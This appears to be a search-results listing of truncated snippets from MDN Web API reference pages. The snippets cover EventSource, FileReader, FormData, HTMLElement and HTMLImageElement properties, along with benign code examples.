nt's class definition we include some life cycle callbacks that make a call to an external function, updatestyle(), which actually applies the size and color to the element. you'll see that we are passing it this (the custom element itself) as a parameter. connectedcallback() { console.log('custom square element added to page.'); updatestyle(this); } attributechangedcallback(name, oldvalue,
newvalue) { console.log('custom square element attributes changed.'); updatestyle(this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot. from here we use standard dom traversal techniques to find the <style> element inside the shadow dom and then update the css found inside it: function updatestyle(elem) { const shadow = elem.shadowroot; ...
Element - Web APIs
roperty. paste fired when the user initiates a paste action through the browser's user interface. also available via the onpaste property. composition events compositionend fired when a text composition system such as an input method editor completes or cancels the current composition session. compositionstart fired when a text composition system such as an input method editor starts a
new composition session. compositionupdate fired when a
new character is received in the context of a text composition session controlled by a text composition system such as an input method editor. focus events blur fired when an element has lost focus. also available via the onblur property. focus fired when an element has gained focus. also available via the onfocus property focusin ...
Event.returnValue - Web APIs
d by returnvalue is the opposite of the value returned by defaultprevented. usage notes returnvalue was introduced into the dom by internet explorer 6, and due to that browser's ubiquity became so commonly used that other browsers eventually implemented it as well. it has been adopted into the dom specification, primarily to ensure that existing web content continues to function going forward.
new projects should generally avoid using returnvalue, although they may if they choose to do so. specifications specification status comment domthe definition of 'returnvalue' in that specification. living standard added for legacy compatibility. ...
Event.timeStamp - Web APIs
the timestamp read-only property of the event interface returns the time (in milliseconds) at which the event was created. note: this property only works if the event system supports it for the particular event. syntax time = event.timestamp; value this value is the number of milliseconds elapsed from the beginning of the current document's lifetime till the event was created. in
newer implementations, the value is a domhighrestimestamp accurate to 5 microseconds (0.005 ms). in older implementations, the value is a domtimestamp, accurate to a millisecond. example html <p> focus this iframe and press any key to get the current timestamp for the keypress event. </p> <p>timestamp: <span id="time">-</span></p> javascript function gettime(event) { var time = document.getelemen...
Event - Web APIs
mmediatepropagation() for this particular event, prevent all other listeners from being called. this includes listeners attached to the same element as well as those attached to elements that will be traversed later (during the capture phase, for instance). event.stoppropagation() stops the propagation of events further along in the dom. deprecated methods event.createevent() creates a
new event, which must then be initialized by calling its initevent() method. event.initevent() initializes the value of an event created. if the event has already been dispatched, this method does nothing. event.getpreventdefault() returns the value of event.defaultprevented. event.preventbubble() prevents the event from bubbling. use event.stoppropagation instead. event.preventcaptu...
EventSource.close() - Web APIs
the close() method of the eventsource interface closes the connection, if one is made, and sets the eventsource.readystate attribute to 2 (closed). note: if the connection is already closed, the method does nothing. syntax eventsource.close(); parameters none. return value void. examples var button = document.queryselector('button'); var evtsource =
new eventsource('sse.php'); button.onclick = function() { console.log('connection closed'); evtsource.close(); } note: you can find a full example on github — see simple sse demo using php. specifications specification status comment html living standardthe definition of 'close()' in that specification. living standard initial definition ...
EventSource: error event - Web APIs
the error event of the eventsource api is fired when a connection with an event source fails to be opened. bubbles no cancelable no interface event or errorevent event handler property eventsource.onerror examples var evtsource =
new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('error', (e) => { console.log("an error occurred while attempting to connect."); }); // onerror version evtsource.onerror = (e) => { console.log("an error occurred while attempting to connect."); }; specifications specification status html living standardthe definition of 'error event' in that specification. living standard ...
EventSource.onmessage - Web APIs
the onmessage property of the eventsource interface is an eventhandler called when a message event is received, that is when a message is coming from the source. event objects of onmessage event handers are of type messageevent. syntax eventsource.onmessage = function examples evtsource.onmessage = function(e) { var
newelement = document.createelement("li");
newelement.textcontent = "message: " + e.data; eventlist.appendchild(
newelement); } note: you can find a full example on github — see simple sse demo using php. specifications specification status comment html living standardthe definition of 'onmessage' in that specification. living standard initial definition ...
EventSource: open event - Web APIs
the open event of the eventsource api is fired when a connection with an event source is opened. bubbles no cancelable no interface event event handler property eventsource.onopen examples var evtsource =
new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('open', (e) => { console.log("the connection has been established."); }); // onopen version evtsource.onopen = (e) => { console.log("the connection has been established."); }; specifications specification status html living standardthe definition of 'open event' in that specification. living standard ...
EventSource.readyState - Web APIs
the readystate read-only property of the eventsource interface returns a number representing the state of the connection. syntax var myreadystate = eventsource.readystate; value a number representing the state of the connection. possible values are: 0 — connecting 1 — open 2 — closed examples var evtsource =
new eventsource('sse.php'); console.log(evtsource.readystate); note: you can find a full example on github — see simple sse demo using php. specifications specification status comment html living standardthe definition of 'readystate' in that specification. living standard initial definition ...
EventSource.url - Web APIs
the url read-only property of the eventsource interface returns a domstring representing the url of the source. syntax var myurl = eventsource.url; value a domstring representing the url of the source. examples var evtsource =
new eventsource('sse.php'); console.log(evtsource.url); note: you can find a full example on github — see simple sse demo using php. specifications specification status comment html living standardthe definition of 'url' in that specification. living standard initial definition ...
EventSource.withCredentials - Web APIs
he withcredentials read-only property of the eventsource interface returns a boolean indicating whether the eventsource object was instantiated with cors credentials set. syntax var mywithcredentials = eventsource.withcredentials; value a boolean indicating whether the eventsource object was instantiated with cors credentials set (true), or not (false, the default). examples var evtsource =
new eventsource('sse.php'); console.log(evtsource.withcredentials); note: you can find a full example on github — see simple sse demo using php. specifications specification status comment html living standardthe definition of 'withcredentials' in that specification. living standard initial definition ...
FileReader.readAsArrayBuffer() - Web APIs
the filereader interface's readasarraybuffer() method is used to start reading the contents of a specified blob or file. when the read operation is finished, the readystate becomes done, and the loadend is triggered. at that time, the result attribute contains an arraybuffer representing the file's data.
newer api available the blob.arraybuffer() method is a
newer promise-based api to read a file as an array buffer. syntax instanceoffilereader.readasarraybuffer(blob); parameters blob the blob or file from which to read. specifications specification status comment file apithe definition of 'filereader.readasarraybuffer' in that specification. working draft initial definition ...
FileReader.readAsBinaryString() - Web APIs
ameters blob the blob or file from which to read. example var canvas = document.createelement('canvas'); var height = 200; var width = 200; canvas.width = width; canvas.height = height; var ctx = canvas.getcontext('2d'); ctx.strokestyle = '#090'; ctx.beginpath(); ctx.arc(width/2, height/2, width/2 - width/10, 0, math.pi*2); ctx.stroke(); canvas.toblob(function (blob) { var reader =
new filereader(); reader.onload = function () { console.log(reader.result); } reader.readasbinarystring(blob); }); specifications specification status comment file apithe definition of 'readasbinarystring' in that specification. working draft ...
FileReader.readyState - Web APIs
empty the filereader has been created, but no readas method was called yet. loading a readas method was invoked. a file or blob is being read, and no error has occurred yet. done the read operation is complete. this could mean that: the entire file or blob has been read into memory, a file read error occurred, or abort() was called and the read was cancelled. example var reader =
new filereader(); console.log('empty', reader.readystate); // readystate will be 0 reader.readastext(blob); console.log('loading', reader.readystate); // readystate will be 1 reader.onloadend = function () { console.log('done', reader.readystate); // readystate will be 2 }; value a number which is one of the three possible state constants define for the filereader api. specifications ...
FileReader.result - Web APIs
e from a file input. it works by creating a filereader object and creating a listener for load events such that when then file is read, the result is obtained and passed to the callback function provided to read(). the content is handled as raw text data. var fileinput = document.queryselector('input[type="file"]'); function read(callback) { var file = fileinput.files.item(0); var reader =
new filereader(); reader.onload = function() { callback(reader.result); } reader.readastext(file); } specifications specification status comment file apithe definition of 'result' in that specification. working draft initial definition ...
FileReader - Web APIs
used to read file content from the user's (remote) system in secure ways only. it cannot be used to simply read a file by pathname from a file system. to read files by pathname in javascript, standard ajax solutions should be used to do server-side file reading, with cors permission if reading cross-domain. note: this feature is available in web workers. constructor filereader() returns a
newly constructed filereader. see using files from web applications for details and examples. properties filereader.error read only a domexception representing the error that occurred while reading the file. filereader.readystate read only a number indicating the state of the filereader. this is one of the following: empty 0 no data has been loaded yet. loa...
FileSystemFileEntry.file() - Web APIs
ent them. return value undefined. example this example establishes a method, readfile(), reads a text file and calls a specified callback function with the received text (in a string object) once the read is completed. if an error occurs, a specified (optional) error callback is called. function readfile(entry, successcallback, errorcallback) { entry.file(function(file) { let reader =
new filereader(); reader.onload = function() { successcallback(reader.result); }; reader.onerror = function() { errorcallback(reader.error); } reader.readastext(file); }, errorcallback); } this function calls file(), specifying as its success callback a method which proceeds to use a filereader to read the file as text. the filereader's load event handler is set...
FileSystemFlags.create - Web APIs
llback is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called. false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was provided). true false path exists the existing file or directory is removed and replaced with a
new one, then the successcallback is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate. true false path doesn't exist the file or directory is created, then a filesystemfileentry or a filesystemdirectoryentry is passed to the successcallback, as appropriate. true true path exists the errorcallback is called with an appropriate error, s...
FileSystemFlags.exclusive - Web APIs
llback is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called. false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was provided). true false path exists the existing file or directory is removed and replaced with a
new one, then the successcallback is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate. true false path doesn't exist the file or directory is created, then a filesystemfileentry or a filesystemdirectoryentry is passed to the successcallback, as appropriate. true true path exists the errorcallback is called with an appropriate error, s...
FileHandle API - Web APIs
p relaunch, you need to store the handle in a database (not necessarily the one used to create the filehandle object). ...
File and Directory Entries API support in Firefox - Web APIs
filesystemdirectoryreader directoryreader filesystemdirectoryreadersync directoryreadersync filesystementry entry filesystementrysync entrysync filesystemfileentry fileentry filesystemfileentrysync fileentrysync be sure to account for this in your code by allowing for both names. hopefully chrome will be updated soon to use the
newer names! to ensure your code will work in both chrome and other browsers, you can include code similar to the following: var filesystemdirectoryentry = window.filesystemdirectoryentry || window.directoryentry; var filesystementry = window.filesystementry || window.entry; limitations in firefox next, let's look at limitations of the firefox implementation of the api. in broad strokes, those l...
FocusEvent() - Web APIs
typearg is a domstring representing the name of the event. focuseventinit optional is a focuseventinit dictionary, having the following fields: "relatedtarget", optional and defaulting to null, is an eventtarget representing the secondary target of a focusevent. the focuseventinit dictionary also accepts fields from the uieventinit and eventinit dictionaries. ...
FontFace.family - Web APIs
the fontface.family property allows the author to get or set the font family of a fontface object. this is equivalent to the font-family descriptor of @font-face. syntax instanceoffontface.family = 'font family name'; var fontface = instanceoffontface.family; // "font family name" value a domstring. example var fontface =
new fontface('roboto', 'url(https://fonts.example.com/roboto.woff2)'); console.log(fontface.family); // 'roboto' fontface.family = '
newroboto'; console.log(fontface.family); // '
newroboto' specifications specification status comment css font loading module level 3the definition of 'family' in that specification. working draft initial definition ...
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
options optional options are as follows: fontfaces: an array of fontface instances. specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
FontFaceSetLoadEvent - Web APIs
properties fontfacesetloadevent.fontfacesread only returns an array of fontface instances each of which represents a single usable font. specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
Force Touch events - Web APIs
-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. force touch events are a proprietary, apple-specific feature which makes possible (where supported by the input hardware)
new interactions based on how hard the user clicks or presses down on the touchscreen or trackpad. events webkitmouseforcewillbegin this event is fired before the mousedown event. its main use is that it can be event.preventdefault()ed. webkitmouseforcedown this event is fired after the mousedown event as soon as sufficient pressure has been applied for it to qualify as a "force click". w...
FormData.delete() - Web APIs
the delete() method of the formdata interface deletes a key and its value(s) from a formdata object. note: this method is available in web workers. syntax formdata.delete(name); parameters name the name of the key you want to delete. returns void. example the following line creates an empty formdata object and prepopulates it with key/value pairs from a form: var formdata =
new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification. living standard ...
FormData.entries() - Web APIs
the formdata.entries() method returns an iterator allowing to go through all key/value pairs contained in this object. the key of each pair is a usvstring object; the value either a usvstring, or a blob. note: this method is available in web workers. syntax formdata.entries(); return value returns an iterator. example // create a test formdata object var formdata =
new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the key/value pairs for(var pair of formdata.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment xmlhttprequestthe definition of 'entries() (as iterator<>)' in that specification. living standard initial ...
FormData.get() - Web APIs
l of them, use the getall() method instead. note: this method is available in web workers. syntax formdata.get(name); parameters name a usvstring representing the name of the key you want to retrieve. return value a formdataentryvalue containing the value. if the key doesn't exist, the method returns null. ...
FormData.getAll() - Web APIs
is method is available in web workers. syntax formdata.getall(name); parameters name a usvstring representing the name of the key you want to retrieve. returns an array of formdataentryvalues whose key matches the value passed in the name parameter. if the key doesn't exist, the method returns an empty list. ...
FormData.has() - Web APIs
the has() method of the formdata interface returns a boolean stating whether a formdata object contains a certain key. note: this method is available in web workers. syntax formdata.has(name); parameters name a usvstring representing the name of the key you want to test for. returns a boolean. ...
FormData.keys() - Web APIs
the formdata.keys() method returns an iterator allowing to go through all keys contained in this object. the keys are usvstring objects. note: this method is available in web workers. syntax formdata.keys(); return value returns an iterator. example // create a test formdata object var formdata =
new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the keys for (var key of formdata.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment xmlhttprequestthe definition of 'keys() (as iterator<>)' in that specification. living standard initial definition ...
FormData.values() - Web APIs
the formdata.values() method returns an iterator allowing to go through all values contained in this object. the values are usvstring or blob objects. note: this method is available in web workers. syntax formdata.values(); return value returns an iterator. example // create a test formdata object var formdata =
new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the values for (var value of formdata.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment xmlhttprequestthe definition of 'values() (as iterator<>)' in that specification. living standard initial definition ...
Fullscreen API - Web APIs
l support 10.0 full support 1.0alternate name alternate name uses the non-standard name: webkitisfullscreenlegend full support full support no support no supportdeprecated. not for use in
new websites.deprecated. not for use in
new websites.user must explicitly enable this feature.user must explicitly enable this feature.uses a non-standard name.uses a non-standard name. document.fullscreenelement the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a ...
Gamepad.timestamp - Web APIs
mp representing the last time the data for this gamepad was updated. the idea behind this is to allow developers to determine if the axes and button data have been updated from the hardware. the value must be relative to the navigationstart attribute of the performancetiming interface. values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as
newer values will always be greater than or equal to older values. note: this property is not currently supported anywhere. syntax readonly attribute domhighrestimestamp timestamp; example var gp = navigator.getgamepads()[0]; console.log(gp.timestamp); value a domhighrestimestamp. specifications specification status comment gamepadthe definition of 'gamepad.times...
GamepadEvent() - Web APIs
options optional options are as follows: gamepad: an instance of gamepad describing the gamepad associated with the event. specifications specification status comment gamepadthe definition of 'gamepadevent_' in that specification. ...
GamepadEvent - Web APIs
properties gamepadevent.gamepad read only returns a gamepad object, providing access to the associated gamepad data for the event fired. examples the gamepad property being called on a fired window.gamepadconnected event. ...
Geolocation - Web APIs
s permission. properties the geolocation interface neither implements, nor inherits any property. methods the geolocation interface doesn't inherit any method. geolocation.getcurrentposition() secure context determines the device's current location and gives back a geolocationposition object with the data. geolocation.watchposition() secure context returns a long value representing the
newly established callback function to be invoked whenever the device location changes. geolocation.clearwatch() secure context removes the particular handler previously installed using watchposition(). specifications specification status comment geolocation api recommendation initial specification. ...
GlobalEventHandlers.onanimationcancel - Web APIs
tml += " <code>"+ event.animationname + "</code> at time " + event.elapsedtime.tofixed(2) + " seconds."; } logbox.innerhtml += "\n"; }; then we set up the handlecancelevent() function, which is called in response to the animationcancel event, as set up in the html above. all we do here is log information to the console, but you might find other use cases, such as starting a
new animation or effect, or terminating some dependent operation. function handlecancelevent(event) { log("animation canceled", event); }; then we add a method to handle toggle display between "flex" and "none" and establish it as the handler for a click event on the "hide/show" the box button: document.getelementbyid('togglebox').addeventlistener('click', function() { if (box.style.display =...
GlobalEventHandlers.onselectionchange - Web APIs
n is an eventhandler that processes selectionchange events. the selectionchange event fires when the text selected on a webpage changes. syntax object.onselectionchange = functionref; value functionref is a function name or a function expression. the function receives a focusevent object as its sole argument. example let selection; document.onselectionchange = function() { console.log('
new selection made'); selection = document.getselection(); }; for a full example, see our key quote generator demo. specifications specification status comment selection apithe definition of 'globaleventhandlers.onselectionchange' in that specification. working draft initial definition. ...
GlobalEventHandlers.onselectstart - Web APIs
syntax object.onselectstart = functionref; value functionref is a function name or a function expression. the function receives a focusevent object as its sole argument. example document.onselectstart = function() { console.log('selection started!'); }; for a full example, see our key quote generator demo. ...
Gyroscope.x - Web APIs
a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var x = gyroscope.x value a number. example the gyroscope is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
Gyroscope.y - Web APIs
a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var y = gyroscope.y value a number. example the gyroscope is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
Gyroscope.z - Web APIs
a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var z = gyroscope.z value a number. example the gyroscope is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
HTMLAnchorElement.relList - Web APIs
rrent document. the property itself is read-only, meaning you can't substitute the domtokenlist with another one, but its contents can still be changed. syntax var relstr = anchorelt.rellist; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { var list = anchors[i].rellist; var listlength = list.length; console.log("
new anchor node found with", listlength, "link types in rellist."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification. living standard initial definition. ...
HTMLAreaElement.relList - Web APIs
cument. the property itself is read-only, meaning you can't substitute the domtokenlist by another one, but the content of the returned list can be changed. syntax var relstr = areaelt.rellist; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { var list = areas[i].rellist; var listlength = list.length; console.log("
new area found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification. living standard initial definition. ...
HTMLCanvasElement.captureStream() - Web APIs
the htmlcanvaselement capturestream() method returns a mediastream which includes a canvascapturemediastreamtrack containing a real-time video capture of the canvas's contents. syntax mediastream = canvas.capturestream(framerate); parameters framerate optional a double-precision floating-point value that indicates the rate of capture of each frame. if not set, a
new frame will be captured each time the canvas changes; if set to 0, frames will not be captured automatically; instead, they will only be captured when the returned track's requestframe() method is called. return value a reference to a mediastream object, which has a single canvascapturemediastreamtrack in it. exceptions notsupportederror the value of framerate is negative. example // find the canvas element to c...
HTMLCanvasElement.getContext() - Web APIs
webgl2renderingcontext object representing a three-dimensional rendering context. this context is only available on browsers that implement webgl version 2 (opengl es 3.0). "bitmaprenderer" which will create an imagebitmaprenderingcontext which only provides functionality to replace the content of the canvas with a given imagebitmap. note: the identifier "experimental-webgl" is used in
new implementations of webgl. these implementations have either not reached test suite conformance, or the graphics drivers on the platform are not yet stable. the khronos group certifies webgl implementations under certain conformance rules. contextattributes you can use several context attributes when creating your rendering context, for example: const gl = canvas.getcontext('webgl', { ...
HTMLCanvasElement.mozFetchAsStream() - Web APIs
however, this non-standard and internal method has been removed. syntax void canvas.mozfetchasstream(callback, type); parameters callback an nsiinputstreamcallback. type optional a domstring indicating the image format. the default type is image/png. return value none. examples save to disk with mozfetchasstream (chrome context only) this technique also converts it to ico, however it will not work in windows xp as winxp cannot convert from png to ico. it saves to the desktop it uses fileutils.jsm. ...
HTMLCanvasElement.toDataURL() - Web APIs
vas.height = nheight; octx.drawimage(ocolorimg, 0, 0); oimgdata = octx.getimagedata(0, 0, nwidth, nheight); apix = oimgdata.data; npixlen = apix.length; for (npixel = 0; npixel < npixlen; npixel += 4) { apix[npixel + 2] = apix[npixel + 1] = apix[npixel] = (apix[npixel] + apix[npixel + 1] + apix[npixel + 2]) / 3; } octx.putimagedata(oimgdata, 0, 0); ograyimg =
new image(); ograyimg.src = ocanvas.todataurl(); ograyimg.onmouseover = showcolorimg; ocolorimg.onmouseout = showgrayimg; octx.clearrect(0, 0, nwidth, nheight); ocolorimg.style.display = "none"; ocolorimg.parentnode.insertbefore(ograyimg, ocolorimg); } } specifications specification status comment html living standardthe definition of 'htmlcanvasele...
HTMLElement: beforeinput event - Web APIs
he nearest ancestor element whose parent isn't editable. bubbles yes cancelable yes interface inputevent event handler property none sync / async sync composed yes default action update the dom element examples this example logs current value of the element immediately before replacing that value with the
new one applied to the <input> element. html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('beforeinput', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status ...
HTMLElement.contextMenu - Web APIs
the htmlelement.contextmenu property refers to the context menu assigned to an element using the contextmenu attribute. the menu itself is created using the <menu> element. syntax var elementcontextmenu = element.contextmenu; example var contextmenu = document.getelementbyid("element").contextmenu; // change the label of the first menu entry contextmenu.firstelementchild.label = "
new label"; ...
HTMLElement.dir - Web APIs
rder to assist with authoring content. chrome and safari provide a directionality option in the contextual menu of input fields while internet explorer and edge use the key combinations ctrl + left shift and ctrl + right shift. firefox uses ctrl/cmd + shift + x but does not update the dir attribute value. syntax var currentwritingdirection = elementnodereference.dir; elementnodereference.dir =
newwritingdirection; currentwritingdirection is a string variable representing the text writing direction of the current element.
newwritingdirection is a string variable representing the text writing direction value. possible values for dir are ltr, for left-to-right, rtl, for right-to-left, and auto for specifying that the direction of the element must be determined based on the contents of ...
HTMLElement.lang - Web APIs
s" for spanish and so on. the default value of this attribute is unknown. note that this attribute, though valid at the individual element level described here, is most often specified for the root element of the document. this also only works with the lang attribute and not with xml:lang. syntax var languageused = elementnodereference.lang; // get the value of lang elementnodereference.lang =
newlanguage; // set
new value for lang languageused is a string variable that gets the language in which the text of the current element is written.
newlanguage is a string variable with its value setting the language in which the text of the current element is written. example // this snippet compares the base language and // redirects to another url based on language if (document.documentelemen...
HTMLHyperlinkElementUtils.search - Web APIs
it easy to parse out the parameters from the querystring. syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params =
new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.search' in that specification. living standard initial definition. ...
HTMLImageElement.complete - Web APIs
button that triggers red-eye removal, checks the value of the lightbox image's complete property before attempting to do its work. this is demonstrated in the code below. let lightboxelem = document.queryselector("#lightbox"); let lightboximgelem = lightboxelem.queryselector("img"); let lightboxcontrolselem = lightboxelem.queryselector(".toolbar"); async function loadimage(url, elem) { return
new promise((resolve, reject) => { elem.onload = () => resolve(elem); elem.onerror = reject; elem.src = url; }); } async function lightbox(url) { lightboxelem.style.display = "block"; await loadimage("https://somesite.net/huge-image.jpg", lightboximgelem); lightboxcontrolselem.disabled = false; } /* ... */ function fixredeyecommand() { if (lightboxelem.style.display === "bloc...
HTMLImageElement.decoding - Web APIs
ecides what is best for the user. usage notes the decoding property allows you to control whether or not the browser is allowed to try to parallelize loading your image. if doing so would cause problems, you can specify sync to disable asynchronous loading. this can be useful when applied to <img> elements, but may be even more so when used for offscreen image objects. examples var img =
new image(); img.decoding = 'sync'; img.src = 'img/logo.png'; specifications specification status comment html living standardthe definition of 'decoding' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://git...
HTMLImageElement.height - Web APIs
the height property of the htmlimageelement interface indicates the height at which the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected height of the image. syntax htmlimageelement.height =
newheight; let height = htmlimageelement.height; value an integer value indicating the height of the image. the terms in which the height is defined depends on whether the image is being rendered to a visual medium or not. if the image is being rendered to a visual medium such as a screen or printer, the height is expressed in css pixels. otherwise, the image's height is represented using its natural (intrinsic) height, adjusted for the display density as indicated by n...
HTMLImageElement.hspace - Web APIs
and forms to establish margins around an <img>. specifications specification status comment html living standardthe definition of 'htmlimageelement.hspace' in that specification. living standard html 4.01 specificationthe definition of 'htmlimageelement.hspace' in that specification. recommendation provides additional details not present in the
newer specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung in...
HTMLImageElement.referrerPolicy - Web APIs
eader will not be sent. "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port. "unsafe-url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username). this case is unsafe as it can leak path information that has been concealed to third-party by using tls. examples var img =
new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpol...
HTMLImageElement.src - Web APIs
this can be set either within the html itself using the src content attribute, or programmatically by setting the element's src property. ...
HTMLImageElement.srcset - Web APIs
rder: 2px solid rgba(150, 150, 150, 255); padding: 0.5em; word-break: break-all; } .box img { width: 200px; } javascript the following code is run within a handler for the window's load event. it uses the image's currentsrc property to fetch and display the url selected by the browser from the srcset. let box = document.queryselector(".box"); let image = box.queryselector("img"); let
newelem = document.createelement("p");
newelem.innerhtml = `image: <code>${image.currentsrc}</code>`; box.appendchild(
newelem); result in the displayed output below, the selected url will correspond with whether your display results in selecting the 1x or the 2x version of the image. if you happen to have both standard and high density displays, try moving this window between them and reloading th...
HTMLImageElement.width - Web APIs
the width property of the htmlimageelement interface indicates the width at which the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected width of the image. syntax htmlimageelement.width =
newwidth; let width = htmlimageelement.width; value an integer value indicating the width of the image. the terms in which the width is defined depends on whether the image is being rendered to a visual medium or not. if the image is being rendered to a visual medium such as a screen or printer, the width is expressed in css pixels. otherwise, the image's width is represented using its natural (intrinsic) width, adjusted for the display density as indicated by naturalwidth.
HTMLInputElement: search event - Web APIs
d usinng an <input> element of type="search". bubbles yes cancelable no interface event event handler property onsearch there are several ways a search can be initiated, such as by pressing enter while the <input> is focused, or, if the incremental attribute is present, after a ua-defined timeout elapses since the most recent keystroke (with
new keystrokes resetting the timeout so the firing of the event is debounced). current ua implementations of <input type="search"> have an additional control to clear the field. using this control also fires the search event. in that case the value of the <input> element will be the empty string. examples // addeventlistener version const input = document.queryselector('input[type="search"]'); in...
HTMLInputElement.setSelectionRange() - Web APIs
this lets you indicate, for example, that the selection was set by the user clicking and dragging from the end of the selected text toward the beginning. this method updates the htmlinputelement.selectionstart, selectionend, and selectiondirection properties in one call. ...
HTMLInputElement - Web APIs
) focuses on the input element; keystrokes will subsequently go to this element. select() selects all the text in the input element, and focuses it so the user can subsequently replace all of its content. setselectionrange() selects a range of text in the input element (but does not focus it). setrangetext() replaces a range of text in the input element with
new text. setcustomvalidity() sets a custom validity message for the element. if this message is not the empty string, then the element is suffering from a custom validity error, and does not validate. checkvalidity() returns a boolean that is false if the element is a candidate for constraint validation, and it does not satisfy its constraints. in this case, it also fires an ...
HTMLLabelElement.htmlFor - Web APIs
the htmllabelelement.htmlfor property reflects the value of the for content property. that means that this script-accessible property is used to set and read the value of the content property for, which is the id of the label's associated control element. syntax controlid = htmllabelelement.htmlfor htmllabelelement.htmlfor =
newid value a domstring which contains the id string of the element which is associated with the control. if this property has a value, the htmllabelelement.control property must refer to the same control. specifications specification status comment html living standardthe definition of 'htmlfor' in that specification. living standard initial definition ...
HTMLLinkElement.relList - Web APIs
document. the property itself is read-only, meaning you can substitute the domtokenlist by another one, but the content of the returned list can be changed. syntax var relstr = linkelt.rellist; example var links = document.getelementsbytagname("link"); var length = links.length; for (var i = 0; i < length; i++) { var list = links[i].rellist; var listlength = list.length; console.log("
new link found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification. living standard initial definition. ...
HTMLMediaElement.audioTracks - Web APIs
diotracklist object listing all of the audiotrack objects representing the media element's audio tracks. the media element may be either an <audio> element or a <video> element. the returned list is live; that is, as tracks are added to and removed from the media element, the list's contents change dynamically. once you have a reference to the list, you can monitor it for changes to detect when
new audio tracks are added or existing ones removed. see event handlers in audiotracklist to learn more about watching for changes to a media element's track list. syntax var audiotracks = mediaelement.audiotracks; value a audiotracklist object representing the list of audio tracks included in the media element. the list of tracks can be accessed using array notation, or using the object's gettra...
HTMLTableCellElement - Web APIs
group (that is, the same ancestor <thead>, <tbody>, or <tfoot> element). if no value is specified for scope, the header is not associated directly with cells in this way. permitted values for scope are: col the header cell applies to the following cells in the same column (or columns, if colspan is used as well), until either the end of the column or another <th> in the column establishes a
new scope. colgroup the header cell applies to all cells in the current column group that do not already have a scope applied to them. this value is only allowed if the cell is in a column group. row the header cell applies to the following cells in the same row (or rows, if rowspan is used as well), until either the end of the row or another <th> in the same row establishes a
new scope. ro...
HTMLTableElement.createCaption() - Web APIs
the htmltableelement.createcaption() method returns the <caption> element associated with a given <table>. if no <caption> element exists on the table, this method creates it, and then returns it. note: if no caption exists, createcaption() inserts a
new caption directly into the table. the caption does not need to be added separately as would be the case if document.createelement() had been used to create the
